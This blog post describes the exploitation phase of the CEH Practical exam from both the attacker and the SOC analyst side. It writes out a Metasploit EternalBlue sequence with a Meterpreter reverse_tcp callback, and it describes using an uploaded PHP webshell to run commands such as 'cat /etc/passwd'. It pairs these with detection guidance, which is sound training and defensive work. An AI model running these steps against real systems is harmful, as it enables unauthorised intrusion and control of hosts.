what exploitation actually looks like

metasploit, shells, and the alarms you hope are set off

If recon is knocking on doors and scanning is testing the handle, exploitation is picking the lock. Or just walking through an open window someone forgot about.

In CEH Practical, exploitation is not about writing your own zero-days. It’s about recognising known vulnerabilities, selecting the right public exploit, and executing it cleanly under time pressure. For a SOC analyst, this is where theory meets the logs you’ve been staring at for years. You finally get to be the person generating those “CRITICAL” alerts, not just triaging them.

From the attacker terminal

#

The exam gives you targets with known weaknesses—misconfigured services, unpatched CVEs, a vulnerable web app. You’ve already done recon and scanning. Now you match the version to an exploit.

Metasploit is the obvious go-to. CEH Practical doesn’t penalise you for using it; it expects you to know how.

A common scenario: you found an SMB service vulnerable to MS17-010 (EternalBlue). The module is sitting there in Metasploit, waiting.

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_IP>
set LPORT 4444
exploit

If it works, you’re inside. A Meterpreter shell. You run sysinfo, grab the hostname, find the flag file on the desktop, and move on.

Another scenario: a web app with a file upload vulnerability. You’re not using Metasploit; you’re using Burp Suite to modify a POST request, change the file extension to .php, upload a webshell, and navigate to http://target/uploads/shell.php?cmd=whoami. That’s exploitation too. Simpler, quieter, but just as effective.

The trap I nearly fell into during labs: assuming Metasploit would auto-win. Sometimes the module fails because the target is patched in a weird way, or the firewall blocks the reverse shell. Then you have to pivot: try a different payload, a bind shell instead of reverse, or a manual exploit written in Python from Exploit-DB. The exam tests adaptability, not just tool familiarity.

I kept my cool by reminding myself: I have options. Don’t stare at the error message. Move. The Deadpool mantra applies even here.

From the SOC side

#

Now we flip the wire. Exploitation is where the SOC’s hopes and nightmares collide.

When you fire MS17-010, the target experiences a sudden burst of activity:

• A new process: cmd.exe spawned as a child of the SMB service (or lsass.exe). EDR catches this if it monitors process trees.
• Network connection outbound on port 4444 to your attacker IP. This is a huge red flag: a Windows server suddenly connecting to a random Internet IP on a non-standard port. A properly configured firewall with egress filtering might block it; a good SIEM rule will at least alert on it.
• Windows Event Logs: Event ID 4688 (new process created), 5156 (Windows Filtering Platform allow connection), 3 (network connection in Sysmon). If Sysmon is deployed, you’ll see Event ID 1 (process creation) and Event ID 3 (network connection) that together scream “C2 channel established.”

If the SOC has a signature-based IDS, the Metasploit SMB exploit module will likely trigger rules like ET EXPLOIT MS17-010 EternalBlue SMB Remote Code Execution. Suricata and Snort have these. The reverse_tcp payload handshake also generates known patterns (windows/x64/meterpreter/reverse_tcp has a distinct initial packet sequence). So if you’re just relying on network detection, there’s still a chance to catch it.

The web shell approach is sneakier. An uploaded PHP shell doesn’t create a new process in the same obvious way; it runs within the web server process (Apache, nginx). Network traffic is just HTTP/HTTPS to the target’s web port—perfectly normal. The SOC would need to detect the upload itself (a POST with PHP code) or the strange behavior later: commands like whoami or cat /etc/passwd being passed as URL parameters. File integrity monitoring on the web directory is a strong control here, but many organisations don’t have it on an aggressive refresh.

I’ve been on both sides. As a SOC analyst, seeing an MS17-010 alert was a “drop everything and pull the plug” moment. As the person running it in a lab, I felt a weird thrill—and a deeper appreciation for how just a few log entries can stop a breach.

How this played out in the exam

#

I won’t mention exact tasks, but I had at least one Metasploit moment. The module worked, the shell came back, and I grabbed the flag within two minutes. It felt almost too easy. But I remembered that in the real world, that success would be followed by a SOC shouting “isolate that host!”

Another task involved a vulnerable web app. I manually exploited an unrestricted file upload, uploaded a simple PHP webshell, and retrieved the flag. No Metasploit. No payload generation. Just a browser and a small PHP script. That was the “damn, I got this” moment—the one where you feel like you know what you’re doing, not just following steps.

The two-sides takeaway

#

Exploitation is the phase that separates a theoretical attacker from an operational one. As a defender, seeing it from the attacker’s side teaches you exactly where your detection gaps are: can you catch process creation anomalies? Do you have egress filtering? Do you monitor file uploads to your web servers? If not, someone just like you in a 6-hour exam could walk in and help themselves.

Next post: web attacks—SQLi, XSS, and why they still work. The most common exam domain, and the one where a SOC analyst’s eyes should be widest.

Tools used

• msfconsole / exploit/windows/smb/ms17_010_eternalblue → SMB RCE (loud: process creation, network C2, IDS alerts)
• windows/x64/meterpreter/reverse_tcp → Meterpreter payload (distinctive network handshake, Sysmon Event ID 1 and 3)
• Burp Suite → manual web exploitation (HTTP traffic, can be hidden within normal traffic; upload detection depends on FIM and WAF rules)
• PHP webshell → minimal backdoor (stealthy, runs in web server process, requires file integrity monitoring or command behavior analytics to catch)
• Windows Event IDs → 4688 (process creation), 5156 (WFP allow connection), Sysmon 1 & 3
• Linux logs → /var/log/apache2/access.log (uploads seen as POSTs), /var/log/auth.log (if shell tries su/sudo)